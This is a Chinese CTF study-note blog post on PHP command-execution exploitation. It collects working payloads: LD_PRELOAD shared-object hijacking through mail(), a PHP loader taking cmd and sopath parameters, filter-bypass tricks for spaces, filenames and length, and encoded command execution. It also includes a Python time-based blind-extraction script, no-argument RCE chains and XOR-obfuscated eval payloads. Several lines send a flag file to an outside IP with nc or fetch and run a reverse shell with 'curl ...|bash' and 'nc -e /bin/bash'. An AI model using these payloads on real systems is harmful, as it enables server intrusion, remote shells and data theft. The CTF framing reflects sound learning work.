CTF-命令执行

命令执行

常见函数

system
exec
passthru
shell_exec
反引号 `
    
popen
proc_open		//无回显
    
pcntl_exec
//怎么运行,运行条件,参数,能否回显
//记函数本身有无回显

system

system(string $command,int & $return_var = ?)

//command:执行command参数所指定的命令,并且输出执行结果
//如果提供return_var参数,则外部命令执行后的返回状态将会被设置到此变量中。
//提交命令能直接回显

exec

exec(STRING $command,array & $output = ?,int & return_var = ?)

//command参数:要执行的命令。单独使用时只有最后一行结果,且不会回显
//output参数:用命令执行的输出填充此数组,每行输出填充数组中的一个元素。即逐行填充数组。
//只回显最后一行结果
//print_r($array)
//var_dump()输出变量相关信息

passthru

passthru(string $command,int & $return_vat = ?)

//command参数:要执行的命令,输出二进制数据,并且需要直接传送到浏览器。
//有回显,以二进制流形式输出

shell_exec

shell_exec(string $cmd)

//cmd参数:要执行的命令
//回显用echo、print

popen

popen(string $command,string $mode)

//command参数:要执行的命令
//mode参数:模式。'r'表示阅读,'w'表示写入
//fgets获取内容,print_r输出内容

proc_open

proc_open($command,$descriptor_spec,$pipes,$cwd,$env_vars,$options)

//command参数:要执行的命令
//descriptor_spec参数:定义数组内容
//pipes参数:调用数组内容

pcntl_exec

pcntl_exec(string $path,array $args=?,array$envs=?)

//path:必须时可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本
//args是一个要传递给程序的参数的字符串数组
//envs是一个要传递给程序作为环境变量的字符串数组。这个数组是key=>value格式的,key代表要传递的环境变量的名称,value代表该环境变量值
//在当前进程空间执行指定程序

替换绕过函数过滤

LD_PRELOAD绕过

命令执行函数过滤严格

使用场景:disable_functions禁用所有可能用到的命令执行的函数

动态链接

**静态链接:**在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开

**装入时动态链接:**源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接

**运行时动态链接:**原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行连接

**对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说是透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。

LD_PRELOAD介绍

修改库文件

它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库

这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数

通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

使用自己的或是更好的函数(无需别人的源码)

也可以向别人的程序注入恶意程序

mail内嵌在php 里

imagick需要扩展安装

绕过条件

  • 能够上传自己的.so文件;
  • 能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数并且未被禁止;
  • 存在可以控制php启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等。

代码分析

#vim demo.php

<?php
mail(",",",");
?>

#strace -o 1.txt -f php demo.php
//把demo.php执行的动作,以文本方式放在1.txt
# cat 1.txt | grep execve
//有个sendmail的调用,修改sendmail的库文件
#vim demo.c

#include<stdlib.h>
#include<stdio.h>
#include<string.h>
void payload(){
	system("echo '小可爱'");
}
int geteuid(){     //生成动作geteuid,执行payload
	unsetenv("LD_PRELOAD");   //结束调用
	payload();
}
#gcc -shared -fPIC demo.o -o demo.so
//将带有命令的c文件编译成.so文件,生成动态链接库文件
#vim demo.php

<?php
putenv("LD_PRELOAD=./demo.so");   //加载动态链接库demo.so
mail(",",",");
?>
#php demo.php

mail()函数命令执行例题

将php文件和demo.so文件通过蚁剑 上传

把要执行的命令赋值到环境变量EVIL_CMDLINE直接读取命令

#vim demo3.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int gerteuid(){
	const char* cmdline = getenv("EVIL_CMDLINE");  //获得系统的环境变量EVIL_CMDLINE即想要执行的命令指令
	if(getenv("LD_PRELOAD") == NULL){return 0;}
	unsetenv("LD_PRELOAD");
	system(cmdline);  //放入system执行
}
#创建php文件

<?php
$cmd = $_REQUEST["cmd"]; 
$out_path = $_REQUEST["outpath"];
$evil_cmdline = $cmd.">".$out_path."2>&1";
echo "<br/><b>cmdline:</b>".$evil_cmdline;
putenv("EVIL_CMDLINE=".$evil_cmdline);

$so_path = $_REQUEST["sopath"];
putenv("LD_PRELOAD=".$so_path);
mail("","","","");
echo "<br/><b>output:</b><br/>".nl2br(file_get_contents($out_path));
?>
666.php?cmd=ls&outpath=/tmp/benben&sopath=./demo3.so
    cmd:执行的命令(可控)
    out_path:输出的路径
    sopath:指定恶意动态链接库

蚁剑及pcntl绕过函数过滤

pcntl_exec(string $path,array $args = ?,array $envs =?)
    
path:必须是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)
args:是一个要传递给程序的参数的字符串数组
    #/bin/bash -c /bin/lsb 

操作系统链接符

拼接命令

“;” “&” “&&” “|” “||”

;

使多个命令按顺序执行
前面的命令和后面的命令都会执行,相互独立
&
必须URL编码%26

使命令在后台运行
这样就可以同时执行多条命令
&&

如果前面的命令执行成功则执行后面的命令
|

将前面的命令的输出作为后面命令的输入,把前面命令的结果当成后面命令的参数;
前面的命令和后面的命令都会执行,但只显示后面的命令执行结果
||

类似于程序中的if-else语句
若前面的命令执行成功,则后面的命令就不会执行;
若前面的命令执行失败,则执行后面的命令。

空格过滤绕过

过滤

cmd = preg_replace("# #","",$cmd);

绕过方法

  • 大括号{cat,flag.txt};

  • $IFS代替空格; I F S 、 IFS、 IFS{IFS}、$IFS$9

    Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符
    ?cmd=ls$IFS-l
    
    单纯$IFS2,IFS2被bash解析器当做变量名,输不出来结果,加一个{}就固定了变量名
    ?cmd=ls${IFS}-l
    
    $IFS$9后面加个$与{}类似 ,起截断作用, $9是当前系统shell进程第九个参数持有者
    ?cmd=ls$IFS$9-l
    
    
  • 重定向字符<,<>;

    "<"表示的是输入重定向的意识,就是把<后面跟的文件取代键盘作为新的输入设备
    ?cmd=cat<flag.php
    ?cmd=cat<>flag.php
    
  • %09(Tab),%20(space);

    ?cmd=cat%09flag.php
    

文件名过滤绕过

绕过方法

1.统配符? * 绕过
2.单引号、双引号绕过
3.反斜杠\绕过(去掉特殊字符功能性,连接符)
4.特殊变量:$1到$9、$@和$*等
5.内联执行(自定义字符串,再拼接起来)
#a=f;d=ag;c=l;cat $a$c$d.txt
6. 利用linux中的环境变量 

常见文件读取命令绕过

绕过方法

1.tac:反向显示
2.more:一页一页的显示档案内容
3.less:与more类似
4.tail:查看末尾几行(默认最后10行)
5.nl:显示的时候,加上行号
6.od:以二进制的方式读取档案内容(od -A d -c)
7.xxd:读取二进制文件
8.sort:用于排序文件
9.uniq:报告或删除文件中重复的行
10.file -f:报错具体内容
11.grep:在文本中查找指定的字符串(grep fla fla*  #从fla*文本文件中搜索包含fla字符串的行)

编码绕过

1.base64编码

import base64
S = b'cat flag.php'
e64 = base64.b64encode(S)  #参数s的类型必须是字节包(bytes)
print(e64)
# echo Y2F0IGZsYWcucGhw | base64 -d | bash
# `echo Y2F0IGZsYWcucGhw | base64 -d`
# $(echo Y2F0IGZsYWcucGhw | base64 -d)
# ?cmd=passthru('`echo Y2F0IGZsYWcucGhw | base64 -d`')

2.ASCII码

import binascii
s = b"tac flag"
h = binascii.b2a_hex(s)
print(h)
# echo "74616320666c61672e706870" |xxd -r -p|bash
# ?cmd=passthru('echo "74616320666c61672e706870"|xxd -r -p|bash');

3.shellcode编码

# printf "\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"
# ?cmd=passthru('printf "\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"|bash');

无回显时间盲注

页面无法shell反弹或者无法回显,或者没有写入权限,可尝试命令盲注

根据返回的时间来就行判断

相关命令

1.sleep

2.awk NR

逐行获取数据
#cat flag | awk NR==1
#cat falg | awk NR==2

3.cut -c

cut逐列获取单个字符
#cat flag | awk NR==2 | cut -c 2

4.if语句

#if [$(cat flag |awk NR==2 | cut -c 1) == F];then echo "right";fi
#if [$(cat flag |awk NR==2 | cut -c 1) == F];then sleep 2;fi
POC脚本

import requests
import time
url = "http://192.168.1.6:19080/class08/1.php"
result = ""
for i in range(1,5):
    for j in range(1,55):
        #asciiç è¡¨
        for k in range(32,128):
            k=chr(k)
            #time.sleep(0.1)
            payload = "?cmd=" + f"if [ `cat flag.php | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi"
            try:
                requests.get(url=url+payload, timeout=(1.5,1.5))
            except:
                result = result + k
                print(result)
                break
    result += " "

长度过滤绕过前置知识

相关命令

>符号和>>符号
命令换行符
ls -t命令
sh命令
dir及*和rev命令

>符号和>>符号

1.通过>来创建文件

#echo benben > a
#创建文件a,并把字符串写入到文件里
#通过>来将命令执行结果写入文件会覆盖文件原内容
#> b 直接创建文件,类似touch b

2.通过>>来追加内容

命令换行

#cat a

#c\
#a\
#t\
 a

ls -t 命令

将文件按照时间顺序排列出来

将文件名作为字符串写入文件a,.(点)+ (空格)+可执行文件
ls -t >a
. a
sh a
>ag
>l\\
>"t \\"
>ca\\
ls -t >a
. a

对命令执行长度有限制时,创建短文件名,执行

dir

dir 
开头字母是d
按列输出,不换行
dir *
把第一个文件的文件名作为命令,后面的文件名作为参数
$(dir *)
rev
反转文件每一行内容

长度为7绕过方法解析

cat flag|nc 47.122.23.131 7777
nc -lvp 7777
?cmd=>7777
?cmd=>\ \\
?cmd=>>161\\
?cmd=>1.\\
?cmd=>168.\\
?cmd=>192.\\
?cmd=>c\ \\
?cmd=>\|n\\
?cmd=>flag\\
?cmd=>t\ \\
?cmd=>ca\\

长度为5绕过方法

curl 192.168.1.161|bash

增加一步创建ls -t >y
import time
import requests

baseurl = ""
s = requests.session()

#将ls -t 写入文件
list = [
    ">ls\\",
    "ls>_",
    ">\ \\",
    ">-t\\",
    ">\>y",
    "ls>>_"
]

# curl 192.168.1.161/1|bash
list2 = [
    ">bash",
    ">\|\\",
    ">\/\\",
    ">61\\",
    ">1\\",
    ">1.\\",
    ">8.\\",
    ">16\\",
    ">2.\\",
    ">19\\",
    ">\ \\",
    ">rl\\",
    ">cu\\"
]
for i in list:
    time.sleep(1)
    url = baseurl+str(i)
    s.get(url)
   
for j in list2:
    time.sleep(1)
    url = baseurl+str(j)
    s.get(url)
    
s.get(baseurl+"sh _")
s.get(baseurl+"sh y")
#index.html
nc 192.168.1.161 7777 -e /bin/bash
#python -m http.server 80

长度为4绕过方法

将ip地址改为16进制
1.开启监听端口
# nc -lvp 7777

2,创建index.html文件
# cd php
# vim index.html
nc 192.168.1.161 7777 -e /bin/bash
目标靶机curl下载index.html,交给bash执行,反弹shell;

3.http.server监听80端口
# python -m http.server 80

4.执行脚本
# python poc4.py

无参数命令执行

HTTP请求标头(php7.3)
利用全局变量RCE(php5/7)
利用session(php5)
使用scandir()进行文件读取

命令执行请求头绕过

preg_replace('/[^\W]+\((?R)?\)/','',$_GET['code'])
    
# 只要在'code'里匹配到[^\W]+\((?R)?\),则替换为空。 
# 正则表达式[^\W]匹配字母、数字、下划线[A-Za-z0-9_]
# [^\W]+\(?\)匹配到“()”形式的字符串,但是()内不能出现如何参数
# (?R)代表递归,即a(b(c()))都能匹配到
# [^\W]+\((?R)?\)能匹配到a()、a(b(c()))....格式的字符串,且()内不能有如何参数
# 只有a()、a(b(c()))....格式的字符串,能被替换为空
getallheaders()&apache_request_headers()
# 获取所有HTTP请求头

?code=print_r(pos(getallheaders()));
# pos()把第一项的值显示出来
?code=print_r(end(getallheaders()));
# end()把最后一项的值显示出来

# print_r()换成eval()即可执行system命令

全局变量RCE

get_defined_vars()
# 返回所以已定义变量的值,所组成的数组

?code=print_r(get_defined_vars());

?code=print_r(end(pos(get_defined_vars())));&cmd=system('ls');
# 

session RCE

session_start()
# 启动新会话或者重用现有会话,成功开始会话返回TRUE,反之返回FALSE

?code=show_source(session_id(session_start()));
# 利用bp修改phpsession的值,执行命令
?code=eval(hex2bin(session_id(session_start())));

# 修改外部函数为eval()
# 修改PHPSESSID的值为命令'phpinfo();'
# 无法直接执行,需先把命令'phpinfo();'HEX编码转为十六进制,写入PHPSESSID
# 再用hex2bin()函数将十六进制转换为二进制数,用eval执行

scandir读取

scandir()	列出指定路径中的文件和目录
getcwd()	取得当前工作目录
current()	返回数组中的当前值
next()		将数组中的内部指针向前移动一位
array_reverse()	返回单元顺序相反的值
array_flip()	交换数组中的键和值
array_rand		从数组中随机取出一个或多个随机键
chdir()		系统调用函数(同cd),用于改变当前工作目录
strrev()	用来反转给定的字符串
crypt()		用来加密,目前Linux平台上加密的方法大致有MD5、DFS,3 DES
hebrevc()	把希伯来文本从右至左的流转换为左至右的流

localeconv() 显示的数组第一项为“."

dirname() 上一级目录

show_source() 只能显示当前目录文件,需改变当前目录chdir()

# 上级目录
?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));

?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
# 根目录
?code=print_r(array());
?code=print_r(serialize(array()));
# serialize序列化
?code=print_r(crypt(serialize(array())));
# crypt单向字符串散列加密,结果随机
?code=print_r(strrev(crypt(serialize(array()))));
?code=print_r(strrev(crypt(serialize(array()))));
# ord()函数和chr()函数
# 只能对第一个字符进行转码
# ord()编码 chr()解码
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));

show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

无字母数字绕过方法

异或运算绕过

?cmd=$_="+(+).&/"^"[@[@@@@";$_();
eval($_="+(+).&/"^"[@[@@@@";$_();)
PHP<7
assert($_POST['_']);


?cmd=$_="!((%)("^"@[[@[\\";$__="!+/(("^"~{`{|";$___=$$__;$_($___['_']);

取反绕过

  • 2
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

slawgut

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值